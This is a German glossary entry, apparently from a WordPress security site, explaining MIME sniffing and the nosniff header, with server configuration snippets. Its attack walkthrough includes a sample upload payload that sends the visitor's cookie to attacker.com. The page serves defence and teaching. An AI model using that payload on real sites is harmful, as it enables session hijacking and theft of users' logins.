← Zurück zum Glossar
websicherheit

MIME-Sniffing

Verhalten älterer Browser, den tatsächlichen Inhaltstyp einer Datei anhand ihres Inhalts zu erraten statt dem vom Server deklarierten Content-Type zu vertrauen — ein ausnutzbarer Sicherheitsmangel.

Aktualisiert: 23. Februar 2026

Was ist MIME-Sniffing?

MIME-Sniffing bezeichnet das Verhalten von Browsern, den Dateityp einer heruntergeladenen Ressource anhand ihrer tatsächlichen Inhalte zu bestimmen — und dabei den vom Server deklarierten Content-Type-Header zu ignorieren oder zu überschreiben. MIME steht für Multipurpose Internet Mail Extensions, das System zur Deklaration von Dateitypen (z.B. text/html, image/jpeg, application/javascript).

Das Problem: Wenn ein Angreifer eine Datei hochladen kann, die scheinbar eine harmlose Bilddatei ist, tatsächlich aber JavaScript-Code enthält, kann ein sniffender Browser diese Datei als Script interpretieren und ausführen — selbst wenn der Server sie korrekt als image/jpeg deklariert. Damit wird MIME-Sniffing zu einem Einfallstor für XSS-Angriffe über Datei-Upload-Funktionen.

Kurzprofil MIME-Sniffing

Kurzprofil MIME-Sniffing

  • Typ: Sicherheitsschwäche (Browser-Verhalten) / Angriffsvorbereitung
  • Bedrohungsklasse: OWASP A05:2021 – Security Misconfiguration
  • Betroffene Systeme: Webseiten mit Datei-Upload, alle Web-Applikationen
  • Schweregrad: Mittel (als Teil einer XSS-Angriffskette: Hoch)
  • Gegenmaßnahme: X-Content-Type-Options: nosniff HTTP-Header

Wie funktioniert MIME-Sniffing?

Browser wurden historisch so entwickelt, dass sie mit fehlerhaft konfigurierten Webservern umgehen können. Ein Server, der eine HTML-Seite mit Content-Type: text/plain ausliefert, würde ohne Sniffing nur als Klartext angezeigt. Mit Sniffing erkennt der Browser die HTML-Struktur und rendert die Seite korrekt. Diese "Hilfsbereitschaft" wurde zum Sicherheitsproblem.

Angriffs-Szenario Schritt für Schritt:

  1. Eine WordPress-Website erlaubt Benutzern, Profilbilder hochzuladen
  2. Ein Angreifer lädt eine Datei mit der Endung .jpg hoch, die tatsächlich JavaScript-Code enthält:
FF D8 FF E0  (JPEG Magic Bytes — MIME-Sniffing-Bypass)
<script>document.location='https://attacker.com/steal?c='+document.cookie</script>
  1. Der Server speichert die Datei und liefert sie mit Content-Type: image/jpeg aus
  2. Ein vulnerabler Browser ignoriert den Header, erkennt den Script-Code und führt ihn aus
  3. Das Session-Cookie des Besuchers wird an den Angreifer-Server übermittelt

Der X-Content-Type-Options: nosniff Header weist den Browser an, dem deklarierten Content-Type-Header zu vertrauen und kein Sniffing durchzuführen. Ein Browser, der diesen Header empfängt und eine Ressource als image/jpeg deklariert sieht, wird diese Ressource niemals als Script ausführen — egal was sie enthält.

Die MIME-Sniffing-Spezifikation ist Teil des WHATWG-Standards und beschreibt exakt, wie Sniffing funktioniert und wann nosniff es unterbindet.

MIME-Sniffing in der WordPress-Praxis

WordPress verarbeitet täglich Millionen von Datei-Uploads. Die Angriffsfläche ist real:

Betroffene WordPress-Funktionen:

  • Medien-Bibliothek (Bild-Uploads)
  • Plugin-eigene Upload-Formulare
  • WooCommerce Produktbilder und Downloads
  • Formular-Plugins mit Dateianhang-Funktion

WordPress selbst prüft Datei-Uploads auf erlaubte Typen und MIME-Typen — aber diese Überprüfungen können durch doppelte Dateiendungen, manipulierte Magic Bytes oder Plugin-Fehler umgangen werden. Der nosniff-Header ist eine wichtige zusätzliche Verteidigungslinie.

Header setzen in Nginx:

add_header X-Content-Type-Options "nosniff";

Header setzen in Apache (.htaccess):

Header always set X-Content-Type-Options "nosniff"

Header setzen per WordPress (functions.php oder Plugin):

function beast_security_headers() {
    header('X-Content-Type-Options: nosniff');
}
add_action('send_headers', 'beast_security_headers');
Schutzmaßnahmen gegen MIME-Sniffing

Schutz gegen MIME-Sniffing

  • X-Content-Type-Options: nosniff HTTP-Header auf allen Responses setzen
  • Korrekten Content-Type für alle Ressourcen setzen (Server-Konfiguration)
  • Datei-Upload-Funktion serverseitig absichern: erlaubte MIME-Typen whitelist-basiert validieren
  • Upload-Verzeichnisse so konfigurieren, dass PHP-Ausführung darin deaktiviert ist
  • Hochgeladene Dateien unter einem separaten Domain/Subdomain ausliefern (z.B. static.example.com)

Die letzte Maßnahme — Auslieferung von Uploads über eine separate Domain — ist besonders wirksam: Selbst wenn ein hochgeladenes Script ausgeführt wird, hat es keinen Zugriff auf Cookies der Hauptdomain, da Browser die Same-Origin-Policy durchsetzen.

Was passiert bei einem erfolgreichen MIME-Sniffing-Angriff?

Ein erfolgreicher MIME-Sniffing-basierter Angriff ermöglicht typischerweise Cross-Site Scripting über einen indirekten Weg: Der Angreifer hat keinen direkten XSS-Einstiegspunkt (Kommentarfeld o.ä.), nutzt aber die Datei-Upload-Funktion als Vehikel. Das Ergebnis ist dasselbe wie bei direktem XSS: Session-Hijacking, Phishing-Overlays, Keylogging, Weiterleitung auf Malware-Seiten.

Historisch waren vor allem ältere Versionen des Internet Explorer für aggressives MIME-Sniffing bekannt. Moderne Browser (Chrome, Firefox, Safari) haben das Verhalten eingeschränkt, unterstützen aber weiterhin nosniff für maximale Sicherheit. Das Header-Setzen bleibt auch 2026 eine empfohlene Best Practice.

Häufige Fragen

Betrifft MIME-Sniffing nur ältere Browser? Das aggressivste Sniffing-Verhalten ist historisch mit dem Internet Explorer verbunden. Moderne Browser sniffing weniger aggressiv, aber der X-Content-Type-Options: nosniff-Header ist weiterhin relevante Best Practice und wird von Chrome, Firefox und Safari respektiert. Er schadet nicht und ist leicht zu implementieren.

Reicht es, Datei-Uploads serverseitig zu validieren? Server-seitige Validierung ist notwendig, aber nicht hinreichend. MIME-Typen lassen sich fälschen, Magic Bytes können manipuliert werden, und Bibliotheken zur MIME-Erkennung haben historisch Fehler gehabt. nosniff als Defense-in-Depth-Maßnahme gehört trotzdem gesetzt.

Was ist der Zusammenhang zwischen MIME-Sniffing und Content-Security-Policy? Beides sind komplementäre Schutzmaßnahmen: nosniff verhindert, dass der Browser den Content-Type einer Ressource falsch interpretiert. Content-Security-Policy verhindert, dass Scripts von unerlaubten Quellen überhaupt ausgeführt werden. Zusammen ergeben sie eine robuste Verteidigung gegen Content-Injection-Angriffe.

start call_